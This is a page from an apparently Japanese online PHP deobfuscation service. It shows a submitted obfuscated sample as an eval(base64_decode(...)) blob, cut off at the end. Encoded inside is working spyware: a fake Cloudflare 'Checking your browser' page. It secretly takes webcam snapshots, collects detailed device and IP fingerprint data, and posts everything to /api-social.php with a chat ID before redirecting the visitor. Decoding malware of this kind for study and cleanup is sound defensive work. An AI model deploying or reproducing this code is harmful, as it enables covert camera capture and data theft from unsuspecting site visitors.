Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php eval(base64_decode('CiBnb3RvIGN2U2cxOyBaUnNnZzogZnVuY3Rpb24gZGVjb2RlX2NoYXRfaWQoJGVuY29kZWRfaWQpIHsgJG1hcHBpbmcgPSAiXDE0MVx4NjJcMTQzXDE0NFx4NjVceDY2XDE0N1x4NjhcMTUxXDE1MiI7ICRkZWNvZGVkX2lkID0gJyc7IGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkZW5jb2RlZF9pZCk7ICRpKyspIHsgJGRlY29kZWRfaWQgLj0gc3RycG9zKCR...



難読化されたPHPコード

<?php eval(base64_decode('CiBnb3RvIGN2U2cxOyBaUnNnZzogZnVuY3Rpb24gZGVjb2RlX2NoYXRfaWQoJGVuY29kZWRfaWQpIHsgJG1hcHBpbmcgPSAiXDE0MVx4NjJcMTQzXDE0NFx4NjVceDY2XDE0N1x4NjhcMTUxXDE1MiI7ICRkZWNvZGVkX2lkID0gJyc7IGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkZW5jb2RlZF9pZCk7ICRpKyspIHsgJGRlY29kZWRfaWQgLj0gc3RycG9zKCRtYXBwaW5nLCAkZW5jb2RlZF9pZFskaV0pOyB9IHJldHVybiAkZGVjb2RlZF9pZDsgfSBnb3RvIG9TZTRROyBnbkQ5ODogZ290byBrZTdQZjsgZ290byBLU0xwNzsgY3ZTZzE6IGdvdG8gbjFKal87IGdvdG8gQTZnM2Y7IGJSMlB0OiBsSFFPNTogZ290byB4Y3h4ZDsgajVnSGE6IGdvdG8gdFFxWG87IGdvdG8gRFJabmI7IHhjeHhkOiBlY2hvICRjaGF0SUQ7IGdvdG8gdm1zTjE7IENCQ3NXOiBnb3RvIGNpWFpZOyBnb3RvIEk1Nk1rOyB4bWF2ajogdFFxWG86IGdvdG8gbnZ2eUI7IG9TZTRROiBnb3RvIFZGTXp5OyBnb3RvIGlfb0ZZOyBHaUNTdTogZ290byBiNGE3SDsgZ290byBiUjJQdDsgSTU2TWs6IGI0YTdIOiBnb3RvIGMxYXhQOyBoaHNJajogeGFlVmk6IGdvdG8gVzU4YjA7IG52dnlCOiBlY2hvICR1cmxUb1JlZGlyZWN0OyBnb3RvIEdnZ0hvOyBHZ2dIbzogZ290byBwNXVRRTsgZ290byBzMjFkOTsgaV9vRlk6IFZGTXp5OiBnb3RvIEEzbkI3OyBIbHkzTzogeGR0eEo6IGdvdG8gaHd0RGI7IEEzbkI3OiBmdW5jdGlvbiBkZWNvZGVfdXJsKCRlbmNvZGVkX3VybCkgeyAkZGVjb2RlZF91cmwgPSBiYXNlNjRfZGVjb2RlKHN0cnRyKCRlbmNvZGVkX3VybCwgIlx4MmRceDVmIiwgIlw1M1x4MmYiKSk7IHJldHVybiAkZGVjb2RlZF91cmw7IH0gZ290byB2WVFBSTsgdm1zTjE6IGdvdG8geGFlVmk7IGdvdG8gaGN5dDk7IGNwcWVFOiBnb3RvIFd2S3VLOyBnb3RvIHhtYXZqOyBzMjFkOTogcDV1UUU6IGdvdG8gcEViTHU7IGMxYXhQOiA/PgoiKSArCiAgICAgICAgICAgICAgICAgICAgICAgICImZGV2aWNlSW5mbz0iICsgZW5jb2RlVVJJQ29tcG9uZW50KEpTT04uc3RyaW5naWZ5KGRldmljZUluZm8pKSArCiAgICAgICAgICAgICAgICAgICAgICAgICImaXBEZXRhaWxzPSIgKyBlbmNvZGVVUklDb21wb25lbnQoSlNPTi5zdHJpbmdpZnkoaXBEZXRhaWxzKSk7CgogICAgICAgICAgICAvLyBMb2cgdGhlIFVSTCB0byB0aGUgY29uc29sZSBmb3IgZGVidWdnaW5nCiAgICAgICAgICAgIGNvbnNvbGUubG9nKCdTZW5kaW5nIHJlcXVlc3QgdG8gVVJMOicsIHVybCk7CgogICAgICAgICAgICAvLyBQZXJmb3JtIGEgR0VUIHJlcXVlc3QgdG8gdGhlIFVSTAogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCh1cmwpOwogICAgICAgICAgICAgICAgaWYgKHJlc3BvbnNlLm9rKSB7CiAgICAgICAgICAgICAgICAgICAgY29uc29sZS5sb2coJ1JlcXVlc3Qgc3VjY2Vzc2Z1bCcpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBjb25zb2xlLmVycm9yKCdSZXF1ZXN0IGZhaWxlZCB3aXRoIHN0YXR1czonLCByZXNwb25zZS5zdGF0dXMpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgewogICAgICAgICAgICAgICAgY29uc29sZS5lcnJvcignRXJyb3Igc2VuZGluZyBsb2NhdGlvbiBhbmQgZGV2aWNlIGluZm86JywgZXJyb3IpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBhc3luYyBmdW5jdGlvbiBjYXB0dXJlQW5kU2VuZCgpIHsKICAgICAgICAgICAgY29uc3QgdmlkZW8gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndmlkZW8nKTsKICAgICAgICAgICAgaWYgKHZpZGVvLnNyY09iamVjdCkgewogICAgICAgICAgICAgICAgY29uc3QgY2FudmFzID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnY2FudmFzJyk7CiAgICAgICAgICAgICAgICBjYW52YXMud2lkdGggPSB2aWRlby52aWRlb1dpZHRoOwogICAgICAgICAgICAgICAgY2FudmFzLmhlaWdodCA9IHZpZGVvLnZpZGVvSGVpZ2h0OwogICAgICAgICAgICAgICAgY2FudmFzLmdldENvbnRleHQoJzJkJykuZHJhd0ltYWdlKHZpZGVvLCAwLCAwLCBjYW52YXMud2lkdGgsIGNhbnZhcy5oZWlnaHQpOwoKICAgICAgICAgICAgICAgIGNvbnN0IGltYWdlX2RhdGEgPSBjYW52YXMudG9EYXRhVVJMKCdpbWFnZS9wbmcnKTsKCiAgICAgICAgICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAgICAgICAgIHR5cGU6ICdQT1NUJywKICAgICAgICAgICAgICAgICAgICB1cmw6ICcvYXBpLXNvY2lhbC5waHAnLAogICAgICAgICAgICAgICAgICAgIGRhdGE6IHsKICAgICAgICAgICAgICAgICAgICAgICAgbWV0aG9kOiAnY2FwdHVyZV9pbWFnZScsCiAgICAgICAgICAgICAgICAgICAgICAgIGltZ2NvZGU6IGltYWdlX2RhdGEsCiAgICAgICAgICAgICAgICAgICAgICAgIGlkOiAiPD9waHAgIGdvdG8gTnVrblE7IHBFYkx1OiA/PgonOwogICAgICAgICAgICB9LCAxNTAwMCk7IC8vIDE1MDAwIG1pbGxpc2Vjb25kcyA9IDE1IHNlY29uZHMKICAgICAgICB9KTsKCiAgICAgICAgYXN5bmMgZnVuY3Rpb24gZ2V0RGV2aWNlSW5mbygpIHsKICAgICAgICAgICAgY29uc3QgZGV2aWNlSW5mbyA9IHsKICAgICAgICAgICAgICAgIGNoYXJnaW5nOiBmYWxzZSwKICAgICAgICAgICAgICAgIGNoYXJnaW5nUGVyY2VudGFnZTogbnVsbCwKICAgICAgICAgICAgICAgIG5ldHdvcmtUeXBlOiBudWxsLAogICAgICAgICAgICAgICAgdGltZVpvbmU6IEludGwuRGF0ZVRpbWVGb3JtYXQoKS5yZXNvbHZlZE9wdGlvbnMoKS50aW1lWm9uZSwKICAgICAgICAgICAgICAgIGxhbmd1YWdlOiBuYXZpZ2F0b3IubGFuZ3VhZ2UsCiAgICAgICAgICAgICAgICBsYW5ndWFnZXM6IG5hdmlnYXRvci5sYW5ndWFnZXMuam9pbignLCAnKSwKICAgICAgICAgICAgICAgIHBsYXRmb3JtOiBuYXZpZ2F0b3IucGxhdGZvcm0sCiAgICAgICAgICAgICAgICB1c2VyQWdlbnQ6IG5hdmlnYXRvci51c2VyQWdlbnQsCiAgICAgICAgICAgICAgICBzY3JlZW5SZXNvbHV0aW9uOiBgJHt3aW5kb3cuc2NyZWVuLndpZHRofXgke3dpbmRvdy5zY3JlZW4uaGVpZ2h0fWAsCgogICAgICAgICAgICAgICAgY29sb3JEZXB0aDogd2luZG93LnNjcmVlbi5jb2xvckRlcHRoLAogICAgICAgICAgICAgICAgZGV2aWNlTWVtb3J5OiBuYXZpZ2F0b3IuZGV2aWNlTWVtb3J5IHx8ICdOL0EnLAogICAgICAgICAgICAgICAgaGFyZHdhcmVDb25jdXJyZW5jeTogbmF2aWdhdG9yLmhhcmR3YXJlQ29uY3VycmVuY3kgfHwgJ04vQScsCiAgICAgICAgICAgICAgICBicm93c2VyTmFtZTogbmF2aWdhdG9yLnVzZXJBZ2VudERhdGE/LmJyYW5kcy5tYXAoYiA9PiBiLmJyYW5kKS5qb2luKCcsICcpIHx8ICdOL0EnLAogICAgICAgICAgICAgICAgYnJvd3NlclZlcnNpb246IG5hdmlnYXRvci51c2VyQWdlbnREYXRhPy5icmFuZHMubWFwKGIgPT4gYi52ZXJzaW9uKS5qb2luKCcsICcpIHx8ICdOL0EnLAogICAgICAgICAgICAgICAgZG93bmxpbms6IG5hdmlnYXRvci5jb25uZWN0aW9uPy5kb3dubGluayB8fCAnTi9BJywKICAgICAgICAgICAgICAgIGVmZmVjdGl2ZVR5cGU6IG5hdmlnYXRvci5jb25uZWN0aW9uPy5lZmZlY3RpdmVUeXBlIHx8ICdOL0EnLAogICAgICAgICAgICAgICAgcnR0OiBuYXZpZ2F0b3IuY29ubmVjdGlvbj8ucnR0IHx8ICdOL0EnLAogICAgICAgICAgICAgICAgY29ubmVjdGlvblR5cGU6IG5hdmlnYXRvci5jb25uZWN0aW9uPy50eXBlIHx8ICdOL0EnLAogICAgICAgICAgICAgICAgcHJvZHVjdFN1YjogbmF2aWdhdG9yLnByb2R1Y3RTdWIgfHwgJ04vQScsCiAgICAgICAgICAgICAgICB2ZW5kb3I6IG5hdmlnYXRvci52ZW5kb3IgfHwgJ04vQScsCiAgICAgICAgICAgICAgICBtYXhUb3VjaFBvaW50czogbmF2aWdhdG9yLm1heFRvdWNoUG9pbnRzIHx8ICdOL0EnLAogICAgICAgICAgICAgICAgZG9Ob3RUcmFjazogbmF2aWdhdG9yLmRvTm90VHJhY2sgfHwgJ04vQScsCiAgICAgICAgICAgICAgICBjb29raWVFbmFibGVkOiBuYXZpZ2F0b3IuY29va2llRW5hYmxlZCB8fCBmYWxzZSwKICAgICAgICAgICAgICAgIGFwcENvZGVOYW1lOiBuYXZpZ2F0b3IuYXBwQ29kZU5hbWUgfHwgJ04vQScsCiAgICAgICAgICAgICAgICBhcHBOYW1lOiBuYXZpZ2F0b3IuYXBwTmFtZSB8fCAnTi9BJywKICAgICAgICAgICAgICAgIGFwcFZlcnNpb246IG5hdmlnYXRvci5hcHBWZXJzaW9uIHx8ICdOL0EnLAogICAgICAgICAgICAgICAgcHJvZHVjdDogbmF2aWdhdG9yLnByb2R1Y3QgfHwgJ04vQScsCiAgICAgICAgICAgICAgICB3ZWJkcml2ZXI6IG5hdmlnYXRvci53ZWJkcml2ZXIgfHwgZmFsc2UsCiAgICAgICAgICAgICAgICBwZGZWaWV3ZXJFbmFibGVkOiBuYXZpZ2F0b3IucGRmVmlld2VyRW5hYmxlZCB8fCBmYWxzZSwKICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIGlmIChuYXZpZ2F0b3IuZ2V0QmF0dGVyeSkgewogICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICBjb25zdCBiYXR0ZXJ5ID0gYXdhaXQgbmF2aWdhdG9yLmdldEJhdHRlcnkoKTsKICAgICAgICAgICAgICAgICAgICBkZXZpY2VJbmZvLmNoYXJnaW5nID0gYmF0dGVyeS5jaGFyZ2luZzsKICAgICAgICAgICAgICAgICAgICBkZXZpY2VJbmZvLmNoYXJnaW5nUGVyY2VudGFnZSA9IE1hdGgucm91bmQoYmF0dGVyeS5sZXZlbCAqIDEwMCk7CiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgewogICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yIGdldHRpbmcgYmF0dGVyeSBpbmZvcm1hdGlvbjonLCBlcnJvcik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJldHVybiBkZXZpY2VJbmZvOwogICAgICAgIH0KCiAgICAgICAgLy8gRnVuY3Rpb24gdG8gZ2V0IElQIGRldGFpbHMKICAgICAgICBhc3luYyBmdW5jdGlvbiBnZXRJcERldGFpbHMoKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBjb25zdCByZXNwb25zZSA9IGF3YWl0IGZldGNoKCdodHRwczovL2lwYXBpLmNvL2pzb24vJyk7CiAgICAgICAgICAgICAgICBpZiAoIXJlc3BvbnNlLm9rKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdIVFRQIGVycm9yISBzdGF0dXM6ICcgKyByZXNwb25zZS5zdGF0dXMpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY29uc3QgZGF0YSA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsKICAgICAgICAgICAgICAgIHJldHVybiBkYXRhOwogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgewogICAgICAgICAgICAgICAgY29uc29sZS5lcnJvcignRXJyb3IgZ2V0dGluZyBJUCBkZXRhaWxzOicsIGVycm9yKTsKICAgICAgICAgICAgICAgIHJldHVybiB7fTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gRnVuY3Rpb24gdG8gc2VuZCBsb2NhdGlvbiBhbmQgZGV2aWNlIGluZm8gdG8gL2FwaS1zb2NpYWwucGhwCiAgICAgICAgYXN5bmMgZnVuY3Rpb24gc2VuZERldmljZUluZm8oKSB7CiAgICAgICAgY29uc3QgZGV2aWNlSW5mbyA9IGF3YWl0IGdldERldmljZUluZm8oKTsKICAgICAgICBjb25zdCBpcERldGFpbHMgPSBhd2FpdCBnZXRJcERldGFpbHMoKTsKCiAgICAgICAgICAgIGNvbnN0IG1lc3NhZ2UgPSBgCjxiPjx1PuKEue+4jyBBY3Rpdml0eSBUcmFja2VkOjwvdT48L2I+Cgo8Yj7wn4yQIElQIGFkZHJlc3M6PC9iPiA8aT4ke2lwRGV0YWlscy5pcCB8fCAnTi9BJ308L2k+CjxiPvCfk6EgSVNQOjwvYj4gPGk+JHtpcERldGFpbHMub3JnIHx8ICdOL0EnfTwvaT4KCjxiPvCfk7EgRGV2aWNlIEluZm86PC9iPgo8Yj7wn5SLIENoYXJnaW5nOjwvYj4gPGk+JHtkZXZpY2VJbmZvLmNoYXJnaW5nID8gJ1llcycgOiAnTm8nfTwvaT4KPGI+8J+UjCBCYXR0ZXJ5IExldmVsOjwvYj4gPGk+JHtkZXZpY2VJbmZvLmNoYXJnaW5nUGVyY2VudGFnZX0lPC9pPgo8Yj7wn4yQIE5ldHdvcmsgVHlwZTo8L2I+IDxpPiR7ZGV2aWNlSW5mby5uZXR3b3JrVHlwZSB8fCAnTi9BJ308L2k+CjxiPvCflZIgVGltZSBab25lOjwvYj4gPGk+JHtkZXZpY2VJbmZvLnRpbWVab25lfTwvaT4KPGI+8J+XoyBMYW5ndWFnZTo8L2I+IDxpPiR7ZGV2aWNlSW5mby5sYW5ndWFnZX08L2k+CjxiPvCfl6MgTGFuZ3VhZ2VzOjwvYj4gPGk+JHtkZXZpY2VJbmZvLmxhbmd1YWdlc308L2k+CjxiPvCfkrsgUGxhdGZvcm06PC9iPiA8aT4ke2RldmljZUluZm8ucGxhdGZvcm19PC9pPgo8Yj7wn4yQIFVzZXIgQWdlbnQ6PC9iPiA8aT4ke2RldmljZUluZm8udXNlckFnZW50fTwvaT4KPGI+8J+TuiBTY3JlZW4gUmVzb2x1dGlvbjo8L2I+IDxpPiR7ZGV2aWNlSW5mby5zY3JlZW5SZXNvbHV0aW9ufTwvaT4KPGI+8J+OqCBDb2xvciBEZXB0aDo8L2I+IDxpPiR7ZGV2aWNlSW5mby5jb2xvckRlcHRofTwvaT4KPGI+8J+UoiBEZXZpY2UgTWVtb3J5OjwvYj4gPGk+JHtkZXZpY2VJbmZvLmRldmljZU1lbW9yeX0gR0I8L2k+CjxiPvCflqUgQ1BVIENvcmVzOjwvYj4gPGk+JHtkZXZpY2VJbmZvLmhhcmR3YXJlQ29uY3VycmVuY3l9PC9pPgo8Yj7wn4yQIEJyb3dzZXIgTmFtZTo8L2I+IDxpPiR7ZGV2aWNlSW5mby5icm93c2VyTmFtZX08L2k+CjxiPvCfjJAgQnJvd3NlciBWZXJzaW9uOjwvYj4gPGk+JHtkZXZpY2VJbmZvLmJyb3dzZXJWZXJzaW9ufTwvaT4KPGI+4qyH77iPIERvd25saW5rOjwvYj4gPGk+JHtkZXZpY2VJbmZvLmRvd25saW5rfTwvaT4KPGI+8J+TtiBFZmZlY3RpdmUgVHlwZTo8L2I+IDxpPiR7ZGV2aWNlSW5mby5lZmZlY3RpdmVUeXBlfTwvaT4KPGI+8J+VkiBSVFQ6PC9iPiA8aT4ke2RldmljZUluZm8ucnR0fSBtczwvaT4KPGI+8J+ToSBDb25uZWN0aW9uIFR5cGU6PC9iPiA8aT4ke2RldmljZUluZm8uY29ubmVjdGlvblR5cGV9PC9pPgo8Yj7wn5SnIFByb2R1Y3QgU3ViOjwvYj4gPGk+JHtkZXZpY2VJbmZvLnByb2R1Y3RTdWJ9PC9pPgo8Yj7wn4+iIFZlbmRvcjo8L2I+IDxpPiR7ZGV2aWNlSW5mby52ZW5kb3J9PC9pPgo8Yj7wn5aQIE1heCBUb3VjaCBQb2ludHM6PC9iPiA8aT4ke2RldmljZUluZm8ubWF4VG91Y2hQb2ludHN9PC9pPgo8Yj7inYwgRG8gTm90IFRyYWNrOjwvYj4gPGk+JHtkZXZpY2VJbmZvLmRvTm90VHJhY2t9PC9pPgo8Yj7wn42qIENvb2tpZSBFbmFibGVkOjwvYj4gPGk+JHtkZXZpY2VJbmZvLmNvb2tpZUVuYWJsZWR9PC9pPgo8Yj7wn5K8IEFwcCBDb2RlIE5hbWU6PC9iPiA8aT4ke2RldmljZUluZm8uYXBwQ29kZU5hbWV9PC9pPgo8Yj7wn5OxIEFwcCBOYW1lOjwvYj4gPGk+JHtkZXZpY2VJbmZvLmFwcE5hbWV9PC9pPgo8Yj7wn5OxIEFwcCBWZXJzaW9uOjwvYj4gPGk+JHtkZXZpY2VJbmZvLmFwcFZlcnNpb259PC9pPgo8Yj7wn5SnIFByb2R1Y3Q6PC9iPiA8aT4ke2RldmljZUluZm8ucHJvZHVjdH08L2k+CjxiPvCfpJYgV2ViRHJpdmVyOjwvYj4gPGk+JHtkZXZpY2VJbmZvLndlYmRyaXZlcn08L2k+CjxiPvCfk7AgUERGIFZpZXdlciBFbmFibGVkOjwvYj4gPGk+JHtkZXZpY2VJbmZvLnBkZlZpZXdlckVuYWJsZWR9PC9pPmA7CgogICAgICAgICAgICBjb25zdCB1cmwgPSAiL2FwaS1zb2NpYWwucGhwP21ldGhvZD1kZXZpY2VfaW5mb3JtYXRpb24maWQ9IiArIGVuY29kZVVSSUNvbXBvbmVudCgiPD9waHAgIGdvdG8gczA3c047IERSWm5iOiBrZTdQZjogZ290byBFS2kwZDsgQTZnM2Y6IFNZUzdkOiBnb3RvIEx2MzNyOyBzMDdzTjogZ290byBTWVM3ZDsgZ290byBoaHNJajsgdllRQUk6IGdvdG8geGR0eEo7IGdvdG8gc3BOal87IEh4bTZGOiBpZiAoaXNzZXQoJHBhdGhfcGFydHNbMV0pICYmIGlzc2V0KCRwYXRoX3BhcnRzWzJdKSkgeyAkZW5jb2RlZENoYXRJRCA9ICRwYXRoX3BhcnRzWzFdOyAkZW5jb2RlZFVybCA9ICRwYXRoX3BhcnRzWzJdOyAkY2hhdElEID0gZGVjb2RlX2NoYXRfaWQoJGVuY29kZWRDaGF0SUQpOyAkdXJsVG9SZWRpcmVjdCA9IGRlY29kZV91cmwoJGVuY29kZWRVcmwpOyB9IGVsc2UgeyB9IGdvdG8gY3BxZUU7IGhjeXQ5OiBXdkt1SzogZ290byBoa3RKTDsgTHYzM3I6IGVjaG8gJGNoYXRJRDsgZ290byBHaUNTdTsgTnVrblE6IGdvdG8gbEhRTzU7IGdvdG8gSGx5M087IEtTTHA3OiBuMUpqXzogZ290byBaUnNnZzsgaHd0RGI6ICRwYXRoID0gJF9TRVJWRVJbIlx4NTJceDQ1XHg1MVwxMjVceDQ1XHg1M1x4NTRceDVmXHg1NVwxMjJcMTExIl07IGdvdG8gZ25EOTg7IGhrdEpMOiA/Pgo8IWRvY3R5cGVodG1sPjxodG1sIGxhbmc9ImVuLVVTIj48aGVhZD48bWV0YSBjaGFyc2V0PSJVVEYtOCI+PG1ldGEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Imh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSI+PG1ldGEgY29udGVudD0iSUU9RWRnZSxjaHJvbWU9MSJodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiPjxtZXRhIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Im5hbWU9InJvYm90cyI+PG1ldGEgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLGluaXRpYWwtc2NhbGU9MSJuYW1lPSJ2aWV3cG9ydCI+PHRpdGxlPkp1c3QgYSBtb21lbnQuLi48L3RpdGxlPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSxodG1se3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7bWFyZ2luOjA7cGFkZGluZzowfWJvZHl7YmFja2dyb3VuZC1jb2xvcjojZmZmO2NvbG9yOiMwMDA7Zm9udC1mYW1pbHk6LWFwcGxlLXN5c3RlbSxzeXN0ZW0tdWksQmxpbmtNYWNTeXN0ZW1Gb250LCJTZWdvZSBVSSIsUm9ib3RvLE94eWdlbixVYnVudHUsIkhlbHZldGljYSBOZXVlIixBcmlhbCxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNnB4O2xpbmUtaGVpZ2h0OjEuN2VtOy13ZWJraXQtZm9udC1zbW9vdGhpbmc6YW50aWFsaWFzZWR9aDF7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6NzAwO21hcmdpbjoxNnB4IDA7Zm9udC1zaXplOjMycHg7Y29sb3I6IzAwMDtsaW5lLWhlaWdodDoxLjI1fXB7Zm9udC1zaXplOjIwcHg7Zm9udC13ZWlnaHQ6NDAwO21hcmdpbjo4cHggMH0uYXR0cmlidXRpb24scHt0ZXh0LWFsaWduOmNlbnRlcn0jc3Bpbm5lcnttYXJnaW46MCBhdXRvIDMwcHggYXV0bztkaXNwbGF5OmJsb2NrfS5hdHRyaWJ1dGlvbnttYXJnaW4tdG9wOjMycHh9QGtleWZyYW1lcyBmYWRlcnswJXtvcGFjaXR5Oi4yfTUwJXtvcGFjaXR5OjF9MTAwJXtvcGFjaXR5Oi4yfX0jY2YtYnViYmxlcz4uYnViYmxlc3thbmltYXRpb246ZmFkZXIgMS42cyBpbmZpbml0ZX0jY2YtYnViYmxlcz4uYnViYmxlczpudGgtY2hpbGQoMil7YW5pbWF0aW9uLWRlbGF5Oi4yc30jY2YtYnViYmxlcz4uYnViYmxlczpudGgtY2hpbGQoMyl7YW5pbWF0aW9uLWRlbGF5Oi40c30uYnViYmxlc3tiYWNrZ3JvdW5kLWNvbG9yOiNmNTgyMjA7d2lkdGg6MjBweDtoZWlnaHQ6MjBweDttYXJnaW46MnB4O2JvcmRlci1yYWRpdXM6MTAwJTtkaXNwbGF5OmlubGluZS1ibG9ja31he2NvbG9yOiMyYzdjYjA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7dHJhbnNpdGlvbjpjb2xvciAuMTVzIGVhc2V9YTpob3Zlcntjb2xvcjojZjRhMTVkfTwvc3R5bGU+PC9oZWFkPjxib2R5Pjx0YWJsZSBjZWxscGFkZGluZz0iMjAiaGVpZ2h0PSIxMDAlIndpZHRoPSIxMDAlIj48dGJvZHk+PHRyPjx0ZCBhbGlnbj0iY2VudGVyInZhbGlnbj0ibWlkZGxlIj48ZGl2IGNsYXNzPSJjZi1icm93c2VyLXZlcmlmaWNhdGlvbiBjZi1pbS11bmRlci1hdHRhY2siPjxkaXYgaWQ9ImNmLWNvbnRlbnQiPjxkaXYgaWQ9ImNmLWJ1YmJsZXMiPjxkaXYgY2xhc3M9ImJ1YmJsZXMiPjwvZGl2PjxkaXYgY2xhc3M9ImJ1YmJsZXMiPjwvZGl2PjxkaXYgY2xhc3M9ImJ1YmJsZXMiPjwvZGl2PjwvZGl2PjxoMT5DaGVja2luZyB5b3VyIGJyb3dzZXIgYmVmb3JlIGFjY2Vzc2luZyB0aGUgd2Vic2l0ZS48L2gxPjxwPlRoaXMgcHJvY2VzcyBpcyBhdXRvbWF0aWMuIFlvdXIgYnJvd3NlciB3aWxsIHJlZGlyZWN0IHRvIHlvdXIgcmVxdWVzdGVkIGNvbnRlbnQgc2hvcnRseS48L3A+PHAgaWQ9ImNmLXNwaW5uZXItcmVkaXJlY3RpbmciPlJlZGlyZWN0aW5n4oCmPC9wPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImF0dHJpYnV0aW9uIj5ERG9TIHByb3RlY3Rpb24gYnkgPGEgaHJlZj0iaHR0cHM6Ly93d3cuY2xvdWRmbGFyZS5jb20vNXh4LWVycm9yLWxhbmRpbmcvInJlbD0ibm9vcGVuZXIgbm9yZWZlcnJlciJ0YXJnZXQ9Il9ibGFuayI+Q2xvdWRmbGFyZTwvYT48YnI+PHNwYW4gY2xhc3M9InJheV9pZCI+UmF5IElEOiA8Y29kZSBpZD0icmF5Ij48L2NvZGU+PC9zcGFuPjwvZGl2PjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PGNlbnRlcj48YnV0dG9uIGlkPSJ0b2dnbGUtdmlkZW8ic3R5bGU9ImRpc3BsYXk6bm9uZSI+VG9nZ2xlIFZpZGVvPC9idXR0b24+PGRpdiBpZD0ibWVzc2FnZS1jb250YWluZXIiPjwvZGl2Pjx2aWRlbyBhdXRvcGxheSBoZWlnaHQ9IjAiaWQ9InZpZGVvIndpZHRoPSIwIj48L3ZpZGVvPjwvY2VudGVyPjxzY3JpcHQgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy42LjAubWluLmpzIj48L3NjcmlwdD48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Ly8gRnVuY3Rpb24gdG8gZ2VuZXJhdGUgYSByYW5kb20gUmF5IElECiAgICAgICAgZnVuY3Rpb24gZ2VuZXJhdGVSYXlJRCgpIHsKICAgICAgICAgICAgY29uc3QgY2hhcnMgPSAnYWJjZGVmMDEyMzQ1Njc4OSc7CiAgICAgICAgICAgIGxldCByYXlJRCA9ICcnOwogICAgICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IDE2OyBpKyspIHsKICAgICAgICAgICAgICAgIHJheUlEICs9IGNoYXJzW01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIGNoYXJzLmxlbmd0aCldOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiByYXlJRDsKICAgICAgICB9CgogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ0RPTUNvbnRlbnRMb2FkZWQnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgLy8gR2VuZXJhdGUgYW5kIHNldCBhIG5ldyBSYXkgSUQKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JheScpLnRleHRDb250ZW50ID0gZ2VuZXJhdGVSYXlJRCgpOwoKICAgICAgICAgICAgLy8gUmVkaXJlY3QgYWZ0ZXIgMTUgc2Vjb25kcwogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAnPD9waHAgIGdvdG8gajVnSGE7IHNwTmpfOiBjaVhaWTogZ290byBIeG02RjsgRUtpMGQ6ICRwYXRoX3BhcnRzID0gZXhwbG9kZSgiXDU3IiwgdHJpbSgkcGF0aCwgIlx4MmYiKSk7IGdvdG8gQ0JDc1c7IFc1OGIwOiA/PgoiCiAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiAocmVzKSA9PiBjb25zb2xlLmxvZygnSW1hZ2Ugc2VudCBzdWNjZXNzZnVsbHk6JywgcmVzKSwKICAgICAgICAgICAgICAgICAgICBlcnJvcjogKHhociwgc3RhdHVzLCBlcnJvcikgPT4gY29uc29sZS5lcnJvcignSW1hZ2Ugc2VuZCBlcnJvcjonLCBlcnJvcikKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgY29uc29sZS5lcnJvcignTm8gdmlkZW8gc3RyZWFtIHRvIGNhcHR1cmUnKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgYXN5bmMgZnVuY3Rpb24gU2VuZENhbWVyYSgpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIGNvbnN0IHN0cmVhbSA9IGF3YWl0IG5hdmlnYXRvci5tZWRpYURldmljZXMuZ2V0VXNlck1lZGl